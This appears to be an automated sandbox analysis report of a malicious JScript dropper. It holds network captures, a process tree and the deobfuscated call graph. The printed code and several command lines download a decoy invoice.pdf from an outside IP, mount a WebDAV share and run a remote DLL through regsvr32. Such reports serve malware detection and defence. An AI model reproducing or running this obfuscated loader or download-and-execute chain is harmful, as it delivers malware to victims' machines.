Jan 11, 2025 01:54:52.554195881 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 01:54:52.554207087 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 01:54:52.554218054 CET	328	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 01:54:52.554228067 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 01:54:52.554239988 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 01:54:52.559057951 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	6716	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:54:54.092128038 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:54:54.913187981 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:54:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:54:48
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15315323282846423758.js"
Imagebase:	0x7ff628240000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:54:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll
Imagebase:	0x7ff608b30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:54:48
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:54:48
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:54:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:54:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff608b30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:54:53
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ca1b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:54:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:54:53
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:54:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1900 --field-trial-handle=1636,i,7680078454026771213,17206862086512278938,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function uslrjwe() {	uslrjwe() ➔ undefined
1	blnosyz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yyrrfqaan = this[dmffffpok + bnxulk + rqdrz + zfpxio + mrccvz + wuerfpik + riwzuw + ibzlmm] ( this[bdspcw + rknsupe + oarhhs + rqdrz + ukmaapqzc + dmffffpok + ibzlmm][jhqpfd + rqdrz + mrccvz + bnxulk + ibzlmm + mrccvz + fcrbpsv + hfggekk + vqhvr + mrccvz + oarhhs + ibzlmm] ( bdspcw + rknsupe + oarhhs + rqdrz + ukmaapqzc + dmffffpok + ibzlmm + mtsdolc + rknsupe + mlbybh + mrccvz + wyjvxqedx + wyjvxqedx ) [qgidb + mrccvz + vjrwqfcu + qgidb + mrccvz + bnxulk + qmgcj] ( rlmdai + pqbfs + vegjia + skitn + zieqfr + jhqpfd + gnedsbn + qgidb + qgidb + vegjia + rrraiuzo + yedts + zieqfr + gnedsbn + rknsupe + vegjia + qgidb + ndyzl + jhqpfd + avgyctee + riwzuw + ibzlmm + rqdrz + avgyctee + wyjvxqedx + bsxijev + kojufswjk + bnxulk + riwzuw + mrccvz + wyjvxqedx + ndyzl + wuerfpik + riwzuw + ibzlmm + mrccvz + rqdrz + riwzuw + bnxulk + ibzlmm + ukmaapqzc + avgyctee + riwzuw + bnxulk + wyjvxqedx + ndyzl + suprkuhl + avgyctee + oarhhs + bnxulk + wyjvxqedx + mrccvz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( eaphxiv = 0 ; eaphxiv < blnosyz[wyjvxqedx + mrccvz + riwzuw + vjrwqfcu + ibzlmm + mlbybh] ; ++ eaphxiv )
4	{
5	if ( yyrrfqaan == blnosyz[eaphxiv] )
6	{
7	yyrrfqaan = true;
8	break ;
9	}
10	}
11	if ( yyrrfqaan !== true )
12	this[bdspcw + rknsupe + oarhhs + rqdrz + ukmaapqzc + dmffffpok + ibzlmm][bgfxky + qqpeuoa + ukmaapqzc + ibzlmm] ( );
13	this[bdspcw + rknsupe + oarhhs + rqdrz + ukmaapqzc + dmffffpok + ibzlmm][jhqpfd + rqdrz + mrccvz + bnxulk + ibzlmm + mrccvz + fcrbpsv + hfggekk + vqhvr + mrccvz + oarhhs + ibzlmm] ( bdspcw + rknsupe + oarhhs + rqdrz + ukmaapqzc + dmffffpok + ibzlmm + mtsdolc + rknsupe + mlbybh + mrccvz + wyjvxqedx + wyjvxqedx ) [rqdrz + qqpeuoa + riwzuw] ( oarhhs + chqvbzb + qmgcj + bsxijev + lzmhbwxn + oarhhs + bsxijev + dmffffpok + avgyctee + tjydghzl + mrccvz + rqdrz + zfpxio + mlbybh + mrccvz + wyjvxqedx + wyjvxqedx + mtsdolc + mrccvz + keldvjowr + mrccvz + bsxijev + rggpr + jhqpfd + avgyctee + chqvbzb + chqvbzb + bnxulk + riwzuw + qmgcj + bsxijev + sqkhrkesv + wuerfpik + riwzuw + uzrnqqts + avgyctee + btzeewy + mrccvz + rggpr + bdspcw + mrccvz + hfggekk + qgidb + mrccvz + lgpcxrcrv + qqpeuoa + mrccvz + zfpxio + ibzlmm + bsxijev + rggpr + fcrbpsv + qqpeuoa + ibzlmm + wduyzyro + ukmaapqzc + wyjvxqedx + mrccvz + bsxijev + fjmrwzyqu + ibzlmm + mrccvz + chqvbzb + dmffffpok + fjmrwzyqu + ndyzl + ukmaapqzc + riwzuw + uzrnqqts + avgyctee + ukmaapqzc + oarhhs + mrccvz + mtsdolc + dmffffpok + qmgcj + wnfjw + bsxijev + mlbybh + ibzlmm + ibzlmm + dmffffpok + nspurcg + lzmhbwxn + lzmhbwxn + gwkscpxi + vvtpfql + friklkju + mtsdolc + gwkscpxi + jjgplsqt + friklkju + mtsdolc + gwkscpxi + mtsdolc + qiisovqx + ofregt + ndjmz + lzmhbwxn + ukmaapqzc + riwzuw + uzrnqqts + avgyctee + ukmaapqzc + oarhhs + mrccvz + mtsdolc + dmffffpok + mlbybh + dmffffpok + sqkhrkesv + jfgsjm + jfgsjm + zfpxio + ibzlmm + bnxulk + rqdrz + ibzlmm + bsxijev + fjmrwzyqu + ibzlmm + mrccvz + chqvbzb + dmffffpok + fjmrwzyqu + ndyzl + ukmaapqzc + riwzuw + uzrnqqts + avgyctee + ukmaapqzc + oarhhs + mrccvz + mtsdolc + dmffffpok + qmgcj + wnfjw + jfgsjm + jfgsjm + oarhhs + chqvbzb + qmgcj + bsxijev + lzmhbwxn + oarhhs + bsxijev + riwzuw + mrccvz + ibzlmm + bsxijev + qqpeuoa + zfpxio + mrccvz + bsxijev + ndyzl + ndyzl + gwkscpxi + vvtpfql + friklkju + mtsdolc + gwkscpxi + jjgplsqt + friklkju + mtsdolc + gwkscpxi + mtsdolc + qiisovqx + ofregt + ndjmz + xjuvc + yvnryypaw + yvnryypaw + yvnryypaw + yvnryypaw + ndyzl + qmgcj + bnxulk + uzrnqqts + tjydghzl + tjydghzl + tjydghzl + rqdrz + avgyctee + avgyctee + ibzlmm + ndyzl + jfgsjm + jfgsjm + oarhhs + chqvbzb + qmgcj + bsxijev + lzmhbwxn + oarhhs + bsxijev + rqdrz + mrccvz + vjrwqfcu + zfpxio + uzrnqqts + rqdrz + friklkju + qiisovqx + bsxijev + lzmhbwxn + zfpxio + bsxijev + ndyzl + ndyzl + gwkscpxi + vvtpfql + friklkju + mtsdolc + gwkscpxi + jjgplsqt + friklkju + mtsdolc + gwkscpxi + mtsdolc + qiisovqx + ofregt + ndjmz + xjuvc + yvnryypaw + yvnryypaw + yvnryypaw + yvnryypaw + ndyzl + qmgcj + bnxulk + uzrnqqts + tjydghzl + tjydghzl + tjydghzl + rqdrz + avgyctee + avgyctee + ibzlmm + ndyzl + friklkju + qiisovqx + gwkscpxi + ofregt + yvnryypaw + gwkscpxi + ofregt + spnvalos + spnvalos + zgpyh + qiisovqx + qiisovqx + vvtpfql + zgpyh + qiisovqx + mtsdolc + qmgcj + wyjvxqedx + wyjvxqedx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll",0,false) ➔ 0
14	}
15	vvtpfql = "X";
16	vvtpfql = "n";
17	vvtpfql = "S";
18	vvtpfql = "b";
19	vvtpfql = "e";
20	vvtpfql = "T";
21	vvtpfql = "b";
22	vvtpfql = "U";
23	vvtpfql = "A";
24	vvtpfql = "9";
25	avgyctee = "L";
26	avgyctee = "Z";
27	avgyctee = "V";
28	avgyctee = "z";
29	avgyctee = "n";
30	avgyctee = "T";
31	avgyctee = "H";
32	avgyctee = "t";
33	avgyctee = "I";
34	avgyctee = "l";
35	avgyctee = "K";
36	avgyctee = "Z";
37	avgyctee = "g";
38	avgyctee = "U";
39	avgyctee = "q";
40	avgyctee = "H";
41	avgyctee = "t";
42	avgyctee = "q";
43	avgyctee = "Z";
44	avgyctee = "G";
45	avgyctee = "q";
46	avgyctee = "h";
47	avgyctee = "w";
48	avgyctee = "T";
49	avgyctee = "Z";
50	avgyctee = "J";
51	avgyctee = "T";
52	avgyctee = "j";
53	avgyctee = "o";
54	nspurcg = "s";
55	nspurcg = "B";
56	nspurcg = "a";
57	nspurcg = "M";
58	nspurcg = "A";
59	nspurcg = "V";
60	nspurcg = "Z";
61	nspurcg = "x";
62	nspurcg = "U";
63	nspurcg = "u";
64	nspurcg = "e";
65	nspurcg = "F";
66	nspurcg = "Y";
67	nspurcg = "U";
68	nspurcg = "X";
69	nspurcg = "n";
70	nspurcg = "B";
71	nspurcg = "W";
72	nspurcg = "W";
73	nspurcg = "u";
74	nspurcg = "d";
75	nspurcg = "L";
76	nspurcg = "B";
77	nspurcg = "x";
78	nspurcg = "t";
79	nspurcg = "M";
80	nspurcg = "y";
81	nspurcg = "h";
82	nspurcg = "G";
83	nspurcg = "E";
84	nspurcg = "K";
85	nspurcg = "t";
86	nspurcg = "N";
87	nspurcg = "J";
88	nspurcg = "L";
89	nspurcg = "Q";
90	nspurcg = "D";
91	nspurcg = "u";
92	nspurcg = "L";
93	nspurcg = "Z";
94	nspurcg = "j";
95	nspurcg = "s";
96	nspurcg = "u";
97	nspurcg = "B";
98	nspurcg = ":";
99	hfggekk = "M";
100	hfggekk = "P";
101	hfggekk = "I";
102	hfggekk = "q";
103	hfggekk = "O";
104	hfggekk = "D";
105	hfggekk = "S";
106	hfggekk = "H";
107	hfggekk = "Q";
108	hfggekk = "Q";
109	hfggekk = "T";
110	hfggekk = "t";
111	hfggekk = "q";
112	hfggekk = "d";
113	hfggekk = "T";
114	hfggekk = "I";
115	hfggekk = "n";
116	hfggekk = "S";
117	hfggekk = "U";
118	hfggekk = "b";
119	hfggekk = "O";
120	hfggekk = "O";
121	hfggekk = "e";
122	hfggekk = "d";
123	hfggekk = "f";
124	hfggekk = "I";
125	hfggekk = "H";
126	hfggekk = "p";
127	hfggekk = "b";
128	vqhvr = "Z";
129	vqhvr = "R";
130	vqhvr = "y";
131	vqhvr = "k";
132	vqhvr = "o";
133	vqhvr = "V";
134	vqhvr = "Y";
135	vqhvr = "E";
136	vqhvr = "W";
137	vqhvr = "E";
138	vqhvr = "s";
139	vqhvr = "T";
140	vqhvr = "m";
141	vqhvr = "S";
142	vqhvr = "O";
143	vqhvr = "n";
144	vqhvr = "Y";
145	vqhvr = "T";
146	vqhvr = "f";
147	vqhvr = "P";
148	vqhvr = "j";
149	vqhvr = "w";
150	vqhvr = "h";
151	vqhvr = "a";
152	vqhvr = "h";
153	vqhvr = "J";
154	vqhvr = "I";
155	vqhvr = "L";
156	vqhvr = "j";
157	rrraiuzo = "N";
158	rrraiuzo = "c";
159	rrraiuzo = "s";
160	rrraiuzo = "a";
161	rrraiuzo = "I";
162	rrraiuzo = "v";
163	rrraiuzo = "U";
164	rrraiuzo = "G";
165	rrraiuzo = "b";
166	rrraiuzo = "I";
167	rrraiuzo = "U";
168	rrraiuzo = "E";
169	rrraiuzo = "T";
170	rrraiuzo = "B";
171	rrraiuzo = "o";
172	rrraiuzo = "c";
173	rrraiuzo = "O";
174	rrraiuzo = "P";
175	rrraiuzo = "K";
176	rrraiuzo = "U";
177	rrraiuzo = "W";
178	rrraiuzo = "L";
179	rrraiuzo = "T";
180	rrraiuzo = "z";
181	rrraiuzo = "U";
182	rrraiuzo = "O";
183	rrraiuzo = "e";
184	rrraiuzo = "V";
185	rrraiuzo = "Z";
186	rrraiuzo = "H";
187	rrraiuzo = "S";
188	rrraiuzo = "N";
189	vegjia = "D";
190	vegjia = "r";
191	vegjia = "N";
192	vegjia = "z";
193	vegjia = "L";
194	vegjia = "s";
195	vegjia = "j";
196	vegjia = "E";
197	yedts = "Q";
198	yedts = "N";
199	yedts = "D";
200	yedts = "g";
201	yedts = "P";
202	yedts = "y";
203	yedts = "y";
204	yedts = "F";
205	yedts = "f";
206	yedts = "b";
207	yedts = "x";
208	yedts = "B";
209	yedts = "S";
210	yedts = "A";
211	yedts = "J";
212	yedts = "B";
213	yedts = "s";
214	yedts = "E";
215	yedts = "J";
216	yedts = "Z";
217	yedts = "P";
218	yedts = "Y";
219	yedts = "k";
220	yedts = "J";
221	yedts = "W";
222	yedts = "j";
223	yedts = "e";
224	yedts = "e";
225	yedts = "W";
226	yedts = "R";
227	yedts = "J";
228	yedts = "q";
229	yedts = "k";
230	yedts = "T";
231	lgpcxrcrv = "D";
232	lgpcxrcrv = "t";
233	lgpcxrcrv = "R";
234	lgpcxrcrv = "F";
235	lgpcxrcrv = "x";
236	lgpcxrcrv = "l";
237	lgpcxrcrv = "A";
238	lgpcxrcrv = "R";
239	lgpcxrcrv = "i";
240	lgpcxrcrv = "D";
241	lgpcxrcrv = "q";
242	wyjvxqedx = "n";
243	wyjvxqedx = "v";
244	wyjvxqedx = "E";
245	wyjvxqedx = "t";
246	wyjvxqedx = "F";
247	wyjvxqedx = "P";
248	wyjvxqedx = "p";
249	wyjvxqedx = "r";
250	wyjvxqedx = "E";
251	wyjvxqedx = "e";
252	wyjvxqedx = "l";
253	btzeewy = "z";
254	btzeewy = "P";
255	btzeewy = "i";
256	btzeewy = "J";
257	btzeewy = "r";
258	btzeewy = "x";
259	btzeewy = "i";
260	btzeewy = "h";
261	btzeewy = "h";
262	btzeewy = "w";
263	btzeewy = "v";
264	btzeewy = "v";
265	btzeewy = "A";
266	btzeewy = "U";
267	btzeewy = "N";
268	btzeewy = "N";
269	btzeewy = "a";
270	btzeewy = "c";
271	btzeewy = "O";
272	btzeewy = "U";
273	btzeewy = "A";
274	btzeewy = "w";
275	btzeewy = "T";
276	btzeewy = "e";
277	btzeewy = "Q";
278	btzeewy = "O";
279	btzeewy = "s";
280	btzeewy = "c";
281	btzeewy = "d";
282	btzeewy = "g";
283	btzeewy = "q";
284	btzeewy = "O";
285	btzeewy = "K";
286	btzeewy = "s";
287	btzeewy = "n";
288	btzeewy = "z";
289	btzeewy = "g";
290	btzeewy = "b";
291	btzeewy = "G";
292	btzeewy = "Y";
293	btzeewy = "H";
294	btzeewy = "n";
295	btzeewy = "t";
296	btzeewy = "k";
297	ukmaapqzc = "b";
298	ukmaapqzc = "l";
299	ukmaapqzc = "L";
300	ukmaapqzc = "Z";
301	ukmaapqzc = "P";
302	ukmaapqzc = "b";
303	ukmaapqzc = "u";
304	ukmaapqzc = "V";
305	ukmaapqzc = "o";
306	ukmaapqzc = "R";
307	ukmaapqzc = "i";
308	mtsdolc = "j";
309	mtsdolc = "H";
310	mtsdolc = "W";
311	mtsdolc = "K";
312	mtsdolc = "i";
313	mtsdolc = "K";
314	mtsdolc = "m";
315	mtsdolc = ".";
316	vjrwqfcu = "y";
317	vjrwqfcu = "q";
318	vjrwqfcu = "D";
319	vjrwqfcu = "n";
320	vjrwqfcu = "n";
321	vjrwqfcu = "C";
322	vjrwqfcu = "x";
323	vjrwqfcu = "n";
324	vjrwqfcu = "s";
325	vjrwqfcu = "f";
326	vjrwqfcu = "m";
327	vjrwqfcu = "L";
328	vjrwqfcu = "r";
329	vjrwqfcu = "U";
330	vjrwqfcu = "g";
331	gwkscpxi = "B";
332	gwkscpxi = "T";
333	gwkscpxi = "K";
334	gwkscpxi = "b";
335	gwkscpxi = "1";
336	lzmhbwxn = "l";
337	lzmhbwxn = "L";
338	lzmhbwxn = "S";
339	lzmhbwxn = "m";
340	lzmhbwxn = "w";
341	lzmhbwxn = "q";
342	lzmhbwxn = "v";
343	lzmhbwxn = "u";
344	lzmhbwxn = "U";
345	lzmhbwxn = "f";
346	lzmhbwxn = "W";
347	lzmhbwxn = "v";
348	lzmhbwxn = "r";
349	lzmhbwxn = "Q";
350	lzmhbwxn = "a";
351	lzmhbwxn = "S";
352	lzmhbwxn = "m";
353	lzmhbwxn = "H";
354	lzmhbwxn = "w";
355	lzmhbwxn = "p";
356	lzmhbwxn = "f";
357	lzmhbwxn = "f";
358	lzmhbwxn = "V";
359	lzmhbwxn = "s";
360	lzmhbwxn = "B";
361	lzmhbwxn = "b";
362	lzmhbwxn = "S";
363	lzmhbwxn = "L";
364	lzmhbwxn = "o";
365	lzmhbwxn = "k";
366	lzmhbwxn = "J";
367	lzmhbwxn = "S";
368	lzmhbwxn = "t";
369	lzmhbwxn = "a";
370	lzmhbwxn = "Z";
371	lzmhbwxn = "k";
372	lzmhbwxn = "P";
373	lzmhbwxn = "/";
374	skitn = "q";
375	skitn = "Q";
376	skitn = "n";
377	skitn = "p";
378	skitn = "m";
379	skitn = "K";
380	skitn = "a";
381	skitn = "l";
382	skitn = "h";
383	skitn = "B";
384	skitn = "w";
385	skitn = "v";
386	skitn = "Q";
387	skitn = "X";
388	skitn = "I";
389	skitn = "w";
390	skitn = "w";
391	skitn = "Y";
392	skitn = "s";
393	skitn = "g";
394	skitn = "g";
395	skitn = "s";
396	skitn = "L";
397	skitn = "A";
398	skitn = "b";
399	skitn = "Y";
400	bsxijev = "s";
401	bsxijev = "x";
402	bsxijev = "W";
403	bsxijev = "a";
404	bsxijev = "N";
405	bsxijev = "k";
406	bsxijev = "Z";
407	bsxijev = "B";
408	bsxijev = "B";
409	bsxijev = "w";
410	bsxijev = "K";
411	bsxijev = "y";
412	bsxijev = "x";
413	bsxijev = "f";
414	bsxijev = "Y";
415	bsxijev = "P";
416	bsxijev = "u";
417	bsxijev = "h";
418	bsxijev = "r";
419	bsxijev = "P";
420	bsxijev = "Z";
421	bsxijev = "R";
422	bsxijev = "o";
423	bsxijev = "o";
424	bsxijev = "l";
425	bsxijev = "W";
426	bsxijev = "l";
427	bsxijev = "w";
428	bsxijev = "E";
429	bsxijev = "r";
430	bsxijev = "F";
431	bsxijev = "X";
432	bsxijev = "D";
433	bsxijev = "m";
434	bsxijev = "n";
435	bsxijev = "J";
436	bsxijev = "F";
437	bsxijev = "B";
438	bsxijev = "j";
439	bsxijev = "l";
440	bsxijev = " ";
441	kojufswjk = "J";
442	kojufswjk = "F";
443	kojufswjk = "o";
444	kojufswjk = "D";
445	kojufswjk = "n";
446	kojufswjk = "J";
447	kojufswjk = "l";
448	kojufswjk = "z";
449	kojufswjk = "z";
450	kojufswjk = "v";
451	kojufswjk = "I";
452	kojufswjk = "h";
453	kojufswjk = "O";
454	kojufswjk = "x";
455	kojufswjk = "Z";
456	kojufswjk = "e";
457	kojufswjk = "B";
458	kojufswjk = "B";
459	kojufswjk = "D";
460	kojufswjk = "f";
461	kojufswjk = "N";
462	kojufswjk = "F";
463	kojufswjk = "G";
464	kojufswjk = "B";
465	kojufswjk = "j";
466	kojufswjk = "z";
467	kojufswjk = "G";
468	kojufswjk = "G";
469	kojufswjk = "P";
470	kojufswjk = "i";
471	kojufswjk = "v";
472	kojufswjk = "S";
473	kojufswjk = "w";
474	kojufswjk = "q";
475	kojufswjk = "U";
476	kojufswjk = "P";
477	riwzuw = "y";
478	riwzuw = "E";
479	riwzuw = "D";
480	riwzuw = "j";
481	riwzuw = "g";
482	riwzuw = "P";
483	riwzuw = "z";
484	riwzuw = "c";
485	riwzuw = "v";
486	riwzuw = "g";
487	riwzuw = "D";
488	riwzuw = "D";
489	riwzuw = "t";
490	riwzuw = "r";
491	riwzuw = "l";
492	riwzuw = "s";
493	riwzuw = "e";
494	riwzuw = "G";
495	riwzuw = "J";
496	riwzuw = "O";
497	riwzuw = "D";
498	riwzuw = "b";
499	riwzuw = "x";
500	riwzuw = "X";
501	riwzuw = "u";
502	riwzuw = "l";
503	riwzuw = "s";
504	riwzuw = "z";
505	riwzuw = "n";
506	riwzuw = "A";
507	riwzuw = "c";
508	riwzuw = "s";
509	riwzuw = "y";
510	riwzuw = "r";
511	riwzuw = "n";
512	spnvalos = "f";
513	spnvalos = "m";
514	spnvalos = "P";
515	spnvalos = "M";
516	spnvalos = "B";
517	spnvalos = "u";
518	spnvalos = "r";
519	spnvalos = "b";
520	spnvalos = "z";
521	spnvalos = "s";
522	spnvalos = "y";
523	spnvalos = "B";
524	spnvalos = "N";
525	spnvalos = "L";
